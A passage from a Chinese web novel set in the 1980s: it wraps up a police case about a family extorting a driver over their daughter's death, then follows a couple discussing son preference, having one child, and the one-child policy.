对能开的起车的人的条件有多好,能付得起多少钱,焦名扬心里是有数的。 这绝对不是自己妹妹长大嫁人,能得到的彩礼可以比的。 一家三口人,在这一刻,心照不宣,无需多言,达成了共识。 于是顺理成章的,事情就这样发展下去了。 向浩然喝了酒,又因为家里的事情,当时没能立刻发现问题,后来偶尔心中有疑惑,已经来不及了。 焦雨花已经下葬,尸体早就已经在棺材里腐烂。 他也没有勇气把这件事情说出来。 毕竟那一切都是他的猜测。 如果他的猜测是错误的呢,人真的是他撞死的呢? 哪怕他的猜测是正确的,人不是他撞死的,可时隔多日,就一定能找到证据吗? 焦家虽然找向浩然要了不少钱,但偏偏这个钱还没有把他压垮,属于咬咬牙也能付的出的状态。 就像是绑匪要赎金。 每次要的钱,都在受害者家属的能力范围之内,于是换来受害者家属一次一次的妥协。 一直到这个妥协,这个荒谬的平衡,被人打破。 楚隽知道安暖对焦家人的作为非常看不上,挑拣着将重要的情况跟她说了一下。 安暖放下手里的红笔,感慨道:“哎……楚隽啊。” “嗯?” “我想跟你聊聊,我们的婚后生活。” 喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:()八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第350章 计划生育 楚隽一瞬间觉得有点惊悚,但是安暖很认真。 她很少用那么认真的语调和自己说话,好像是个非常严肃的话题。 “那就……聊?” 楚隽调整了一下坐姿,认真点头。 “你说。” 两个人的婚姻中,自然会有很多问题,这不奇怪。 就算是感情再好的两个人,步入婚姻以后,也会遇到各种各样的问题。有些是可以用钱解决的,有些不能用钱解决,还有一些,根本就没办法解决。 他们俩好就好在,虽然现在没结婚,但是这段时间一直住在一起,工作又在一起,也算是能够更直观的了解对方的性格,人品,习惯,等等。 这为他们以后的婚姻生活,打下了良好的基础。 如果有生活习惯性格上的矛盾,现在就能看出来了,不用等结婚以后再吵闹得一地鸡毛。 安暖说:“我这个人把,对孩子没有什么偏爱,但是呢,也不讨厌。” “嗯。” “结婚以后,正常来说,我们肯定是要生孩子的,但是除非是双胞胎没办法,不然的话,生一个就行了。” “可以,你说了算。” 这一点楚隽觉得没什么问题。 而且还挺高兴的。 安暖都考虑到生孩子的问题了,可见真的是很认真的在考虑。 安暖接着道:“我知道,你们家有钱,虽然谈不上有皇位要继承,但是能继承的东西确实是挺多的。” “但是呢,生孩子不像是去菜市场买菜,谁也不知道生的是男孩,还是女孩。要是男孩,你爸妈应该挺高兴的。要是女孩怎么办呢?” 楚隽脑子都没转过来。 “女孩……怎么了?” “那你们家可就绝后了。”安暖道:“也是焦家的事情给了我一些感触,如果以后我们只有一个女儿,你会非要生一个儿子吗?” 那这就成了一个不可调和的矛盾了。 安暖觉得一个足以,就算养得起,生孩子也不是养猪。 再说了,再生一个就能保证一定是男孩吗?如果再生一个还是女儿呢?再生第三个,还是女儿呢? 她可是看过类似的新闻的,还看过不止一次,有些人为了追儿子,那是五个六个七个,八个九个的生。 想着都觉得可怕,她可不要变成这个样子。 也不可能接受楚隽去外面,和别人生一个儿子。 楚家这一代有两个男孩,除了楚隽,还有翟琛。 如果翟琛结婚以后,生下男孩,也许楚父楚母也能满意。 反正只要有孙子就行,至于孙子是大儿子生的还是小儿子生的,这个不重要,对他们来说都一样。 不过是日后分家产的时候,偏向哪一边多给一点。 这个都无所谓了,安暖并不在意。 楚隽现在有的已经很多了,她虽然现在没钱,但是最近做了不少投资,别的都不提,就单单她买下的那些房子,假以时日,就能让她赚个盆满钵满。 还有那些邮票,纪念币,等等,现在一些不值钱的小玩意儿,到时候足够让她坐拥上亿资产。 再过几年,根本就不需要仰仗楚家的资产,甚至还能够包养楚隽,让他吃上最好的软饭。 可万一,万一翟琛生的也是女儿呢? 有两个儿子,却没有孙子的老两口,到时候会不会发飙。 虽然楚隽暂时看起来,是个能顶得住的男人,但到时候,难免和家里闹得不愉快。 得不到父母祝福的婚姻,是很难有好下场的。 安暖不愿意走到这一步,希望能将一切隐患,至少是目前能预料到的隐患,扼杀在摇篮中。 婚,也不是非结不可。 她的思想,在这个年代跟大多数人的思想可能有些格格不入,没有必要非得谁改变谁,谁勉强谁,还是在前面把事情都说清楚的好。 到时候为了这种事情撕破脸,既影响感情,又影响孩子。亲戚不成反成仇,搞得就没有意思了。 楚隽认真地听安暖说出了自己的鼓励。 他必须承认,安暖确实是非常认真地对待他们的婚姻。 但凡她有一点点敷衍的心思,只想把他家的钱弄到手的心思,都不会提这个问题。 一切都说好好好,顺从答应,只喜欢你这个人,什么都愿意为你改变的人,这才是另有目的。 安暖这种,从事实出发找矛盾的,才是真的想把日子过好的人。 楚隽认真地想了想。 “你说的这情况,我之前确实没有想过。”楚隽说:“不过,你说的也是有道理的。我爸妈生了两个儿子,虽然没有特意说起过,但是我能感觉得出来,他们还是挺得意的。” 又生得出,又养得起,能不得意么? 而且两个儿子又都是高大英俊,带出去遛弯的时候,特别有面子。 安暖点了点头,可以理解。 男女平等的口号就是喊了那么多年,这个社会也不可能做到真正的男女平等。 说是生男生女都一样,但绝大部分的人,还是想生个男孩。 那些想生女儿的,觉得生男孩压力大,生女儿压力小。这是默认了对儿子的投资付出,要比对女儿的投资付出大。 这又何尝不是一种不平等? 有些人,生了儿子,就努力工作拼命赚钱。 生了女儿,虽然也疼爱有加,却从此躺平吃喝玩乐。 这岂不也是另一种不平等。为了儿子甘愿付出一切,为了女儿,就觉得没有必要再奋斗。 人间种种,不公平的地方太多了,不是一朝一夕可以改变。 楚隽道:“如果说我们这一辈,一个孙子都没有,他们肯定心里不舒服。” 这个是事实,如果楚隽逃避,只能说他在敷衍。 楚隽接着说:“但是,他们不舒服也没有用。现在有计划生育政策,一对夫妻只能生一个孩子,特别是我们这种家庭,难道不起带头作用,要偷偷摸摸地破坏政策吗?” “啊?” “啊什么?你不会不知道吧。”楚隽正色道:“不管男女,只能生一个。只生一个好,国家来养老。你没看见墙上刷的标语吗?” 喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:()八零警花娇又飒,高冷队长心慌了更新速度全网最快。